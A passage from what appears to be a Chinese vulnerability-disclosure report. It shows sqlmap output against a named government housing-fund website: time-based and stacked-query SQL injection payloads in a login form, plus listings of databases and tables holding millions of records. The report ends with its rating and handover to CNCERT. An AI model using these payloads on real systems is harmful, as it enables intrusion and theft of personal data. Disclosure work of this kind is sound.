dbo.bk_dwxx | 13875 || dbo.gj_dwndjs | 12685 || dbo.gj_dwxxbak | 10308 || dbo.dwb | 8040 || dbo.xd_spxx | 589 || dbo.gg_flm | 66 |+--------------------------------------------------+---------+Database: nbgjjcxbak+--------------------------------------------------+---------+| Table | Entries |+--------------------------------------------------+---------+| dbo.Login | 2464637 || dbo.gj_grmx | 2438779 || dbo.gj_grzh | 594346 || dbo.da_grjb | 541894 || dbo.grda | 541894 || dbo.bk_grjb | 539554 || dbo.da_grjbbak | 448226 || dbo.gj_dwzhmx | 263848 || dbo.gj_gtdwyjc | 219828 || dbo.gj_dwzh | 37542 || dbo.xd_fhz | 27927 || dbo.dwxx | 12513 || dbo.gj_dwxx | 12513 || dbo.bk_dwxx | 12414 || dbo.gj_dwndjs | 11646 || dbo.gj_dwxxbak | 10308 || dbo.dwb | 8040 || dbo.xd_spxx | 690 || dbo.gg_flm | 66 |+--------------------------------------------------+---------+Database: nbgjjls+--------------------------------------------------+---------+| Table | Entries |+--------------------------------------------------+---------+| dbo.jfmx | 5381 || dbo.tpsc | 3895 || dbo.chushou | 2929 || dbo.news | 867 || dbo.chuzu | 431 || dbo.qxfpb | 429 || dbo.canshu | 367 || dbo.cspq | 367 || dbo.zhanghao | 353 || dbo.fcjjr | 208 || dbo.grhy | 145 || dbo.hxtp | 141 || dbo.qxxtcsb | 129 || dbo.fycjgl | 36 || dbo.xtmkb | 33 || dbo.bzfl | 22 || dbo.jfcz | 19 || dbo.dksf | 18 || dbo.guanggao | 17 || dbo.bznr | 14 || dbo.zxyy | 12 || dbo.jfdj | 10 || dbo.liuyan | 10 || dbo.loupan | 8 || dbo.admin | 5 || dbo.qiugou | 4 || dbo.jscsb | 3 || dbo.qiuzu | 3 || dbo.wzlb | 3 || dbo.zhaopin | 3 || dbo.fbtsxz | 2 || dbo.yqlj | 2 || dbo.xtxx | 1 |+--------------------------------------------------+---------+
注射点3
http://hd.cixi.gov.cn/gjj.rs (POST)user=admin&password=admin&validate=2694&timsStamp=1395555004969&job=Login&evidence=0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: POSTParameter: user Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: user=admin'); WAITFOR DELAY '0:0:5'--&password=admin&validate=2694&timsStamp=1395555004969&job=Login&evidence=0 Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: user=admin') WAITFOR DELAY '0:0:5'--&password=admin&validate=2694&timsStamp=1395555004969&job=Login&evidence=0---web server operating system: Windows Vistaweb application technology: ASP.NET, Microsoft IIS 7.0back-end DBMS: Microsoft SQL Server 2005current user: 'oneleaf'current database: 'IIPS_CIXI'available databases [22]:[*] [无照监管][*] [票务管理][*] [科技项目管理][*] acsp[*] AMOA_DEMO[*] BEDB[*] BGCOS[*] BGWIS[*] BSPMS[*] COSA[*] exam[*] FWZX[*] IIPS_DIXI[*] LED_CIXI[*] LINKAGE[*] lsip[*] master[*] model[*] msdb[*] SMS_CIXI[*] TEAMWORK[*] tempdb//第三个注入点跑太慢，不--count了
如上
别走小厂商流程哦:)
危害等级：高
漏洞Rank：20
确认时间：2014-03-30 23:08
CNVD对所述案例进行了详细测试，并根据属地原则，转由CNCERT下发给了多个省市分中心处置。
暂无
